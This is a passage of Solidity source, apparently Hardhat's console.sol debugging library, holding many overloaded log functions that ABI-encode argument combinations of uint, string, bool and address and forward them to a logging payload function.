_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); 